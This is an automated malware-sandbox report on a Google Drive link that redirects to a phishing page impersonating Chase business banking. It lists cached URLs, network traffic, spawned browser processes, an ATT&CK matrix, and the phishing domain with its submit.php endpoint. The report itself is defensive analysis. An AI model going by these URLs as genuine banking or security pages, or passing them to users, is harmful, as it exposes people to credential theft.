Source: chromecache_149.2.dr	String found in binary or memory: https://cloud.google.com/bigquery/docs/connected-sheets
Source: chromecache_149.2.dr	String found in binary or memory: https://cloud.google.com/terms/cloud-privacy-notice
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://console.developers.google.com/
Source: chromecache_93.2.dr, chromecache_146.2.dr, chromecache_135.2.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_93.2.dr, chromecache_139.2.dr, chromecache_135.2.dr, chromecache_149.2.dr	String found in binary or memory: https://csi.gstatic.com/csi
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://developers.google.com/
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://developers.google.com/api-client-library/javascript/reference/referencedocs
Source: chromecache_135.2.dr	String found in binary or memory: https://developers.google.com/identity/gsi/web/guides/gis-migration)
Source: chromecache_127.2.dr, chromecache_99.2.dr	String found in binary or memory: https://developers.google.com/youtube/iframe_api_reference#Events
Source: chromecache_135.2.dr	String found in binary or memory: https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://docs.google.com/document/d/1kganm9BHI3TsF8ogVulX2o4DzzO8XA4gu8aIKneTTNU/preview
Source: chromecache_146.2.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive.google.com/drive/my-drive
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive.google.com/picker/minpick/main
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive.google.com/requestreview?id=
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive.google.com/viewer
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drive.usercontent.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://drivemetadata.clients6.google.com
Source: chromecache_129.2.dr	String found in binary or memory: https://feedback-pa.clients6.google.com
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://feedback.googleusercontent.com/resources/annotator.css
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://feedback.googleusercontent.com/resources/render_frame2.html
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://feedback2-test.corp.google.com/inapp/%
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://feedback2-test.corp.google.com/tools/feedback/%
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://feedback2-test.corp.googleusercontent.com/inapp/%
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://feedback2-test.corp.googleusercontent.com/tools/feedback/%
Source: chromecache_89.2.dr, chromecache_133.2.dr	String found in binary or memory: https://fonts.google.com/license/googlerestricted
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://fonts.googleapis.com
Source: chromecache_147.2.dr, chromecache_104.2.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Google
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://fonts.gstatic.com
Source: chromecache_133.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlematerialicons/v143/Gw6kwdfw6UnXLJCcmafZyFRXb3BL9rvi0QZG3Q.woff2)
Source: chromecache_89.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RP
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialiconsfilled/close/v19/gm_grey200-24dp/1x/gm_filled_close
Source: chromecache_129.2.dr	String found in binary or memory: https://gstatic.com/uservoice/surveys/resources/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://help.youtube.com/tools/feedback/
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://lh3.googleusercontent.com/a/default-user
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://localhost.corp.google.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://localhost.proxy.googlers.com/inapp/
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://mygoogle.corp.google.com/help/answer/9011840
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://onepick-autopush.sandbox.google.com/picker/minpick/main
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://onepick-preprod.sandbox.google.com/picker/minpick/main
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://onepick-staging-drivequal.sandbox.google.com/picker/minpick/main
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://onepick-staging.sandbox.google.com/picker/minpick/main
Source: chromecache_92.2.dr	String found in binary or memory: https://online.access.secure001.chase-business.com/?ref=trush39dh3sc
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://play.google.com
Source: chromecache_149.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_146.2.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_146.2.dr	String found in binary or memory: https://plus.googleapis.com
Source: chromecache_149.2.dr	String found in binary or memory: https://policies.google.com/privacy
Source: chromecache_149.2.dr	String found in binary or memory: https://policies.google.com/terms
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://punctual-dev.corp.google.com
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://sandbox.google.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://sandbox.google.com/inapp/%
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://sandbox.google.com/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://sandbox.google.com/tools/feedback/%
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://scone-pa.clients6.google.com
Source: chromecache_154.2.dr	String found in binary or memory: https://securityunlocking.blob.core.windows.net/process/complete.html?48tq2
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://signaler-pa.clients6.google.com
Source: chromecache_149.2.dr	String found in binary or memory: https://signaler-pa.googleapis.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://signaler-pa.youtube.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://signaler-staging.sandbox.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://ssl.gstatic.com/docs/common/cleardot.gif
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://ssl.gstatic.com/gb/js/
Source: chromecache_129.2.dr	String found in binary or memory: https://stagingqual-feedback-pa-googleapis.sandbox.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com
Source: chromecache_129.2.dr	String found in binary or memory: https://support.google.com/
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/docs/answer/13447609
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/docs/answer/148505
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/docs/answer/15001094
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/docs/answer/2494893?co=GENIE.Platform%3DDesktop#zippy=%2Cprevent-people-f
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/docs/answer/37603
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/docs/answer/49114
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/drive/answer/13447401
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/drive/answer/2407404?hl=en
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/drive/answer/2423485?hl=%s
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/drive/answer/2423694
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/drive/answer/7650301
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/drive?p=gemini_drive_pdf
Source: chromecache_149.2.dr	String found in binary or memory: https://support.google.com/google-workspace-individual/?p=esignature_signer_terms
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://support.google.com/inapp/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://support.google.com/inapp/%
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://support.google.com/legal/answer/3110420
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://tasks.google.com/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://test-scone-pa-googleapis.sandbox.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://workspace.google.com
Source: chromecache_146.2.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: chromecache_149.2.dr	String found in binary or memory: https://workspace.google.com/terms/google-workspace-individual-terms/esignature-signer/
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://workspacevideo-pa.googleapis.com
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://www.google.cn/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://www.google.cn/tools/feedback/%
Source: chromecache_139.2.dr, chromecache_127.2.dr, chromecache_149.2.dr, chromecache_99.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js?trustedtypes=true
Source: chromecache_129.2.dr	String found in binary or memory: https://www.google.com/tools/feedback
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://www.google.com/tools/feedback/
Source: chromecache_124.2.dr, chromecache_129.2.dr	String found in binary or memory: https://www.google.com/tools/feedback/%
Source: chromecache_129.2.dr	String found in binary or memory: https://www.google.com/tools/feedback/help_panel_binary.js
Source: chromecache_135.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.login
Source: chromecache_146.2.dr, chromecache_135.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_146.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: chromecache_93.2.dr, chromecache_135.2.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.profile
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/calendar_2020q4/v13/192px.svg
Source: chromecache_139.2.dr, chromecache_149.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/tasks/v10/192px.svg
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chromecache_102.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chromecache_98.2.dr, chromecache_102.2.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chromecache_129.2.dr	String found in binary or memory: https://www.gstatic.com/uservoice/feedback/client/web/
Source: chromecache_129.2.dr	String found in binary or memory: https://www.gstatic.com/uservoice/surveys/resources/
Source: chromecache_99.2.dr	String found in binary or memory: https://www.youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909

Source: classification engine

Classification label: mal52.phis.win@20/120@22/7

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2216,i,17725997227346698388,7204541445290865295,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2216,i,17725997227346698388,7204541445290865295,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
play.google.com	142.250.181.110	true	false		high
plus.l.google.com	172.217.17.78	true	false		high
www.google.com	142.250.181.132	true	false		high
drive.google.com	172.217.17.46	true	false		high
online.access.secure001.chase-business.com	188.119.66.154	true	false		high
apis.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://online.access.secure001.chase-business.com/content/fonts/opensans-regular.woff	false		unknown
https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30	false		high
https://online.access.secure001.chase-business.com/content/css/logon.css	false		unknown
https://online.access.secure001.chase-business.com/content/js/jquery3_3_1.min.js	false		unknown
https://online.access.secure001.chase-business.com/submit.php	false		unknown
https://online.access.secure001.chase-business.com/content/fonts/opensans-semibold.woff	false		unknown
https://online.access.secure001.chase-business.com/secure/	false		unknown
https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png	false		high
https://online.access.secure001.chase-business.com/content/background.desktop.90018.jpeg	false		unknown
https://online.access.secure001.chase-business.com/content/fonts/dcefont.woff	false		unknown
https://play.google.com/log?format=json&hasfast=true	false		high
https://online.access.secure001.chase-business.com/content/css/mds-chase-icons.css	false		unknown
https://online.access.secure001.chase-business.com/content/fonts/opensans-bold.woff	false		unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1	false		high
https://online.access.secure001.chase-business.com/?ref=trush39dh3sc	false		unknown
https://online.access.secure001.chase-business.com/content/css/loader_big.css	false		unknown
https://online.access.secure001.chase-business.com/	false		unknown
https://online.access.secure001.chase-business.com/content/chasefavicon.ico	false		unknown
https://online.access.secure001.chase-business.com/content/wordmark-white.svg	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://signaler-staging.sandbox.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
https://feedback.googleusercontent.com/resources/annotator.css	chromecache_124.2.dr, chromecache_129.2.dr	false		high
http://www.broofa.com	chromecache_139.2.dr, chromecache_98.2.dr, chromecache_102.2.dr, chromecache_149.2.dr	false		high
https://apis.google.com/js/client.js	chromecache_139.2.dr, chromecache_124.2.dr, chromecache_149.2.dr, chromecache_129.2.dr	false		high
https://feedback2-test.corp.googleusercontent.com/tools/feedback/%	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://support.google.com	chromecache_139.2.dr, chromecache_149.2.dr	false		high
http://localhost.proxy.googlers.com/inapp/	chromecache_124.2.dr, chromecache_129.2.dr	false		high
https://stagingqual-feedback-pa-googleapis.sandbox.google.com	chromecache_129.2.dr	false		high
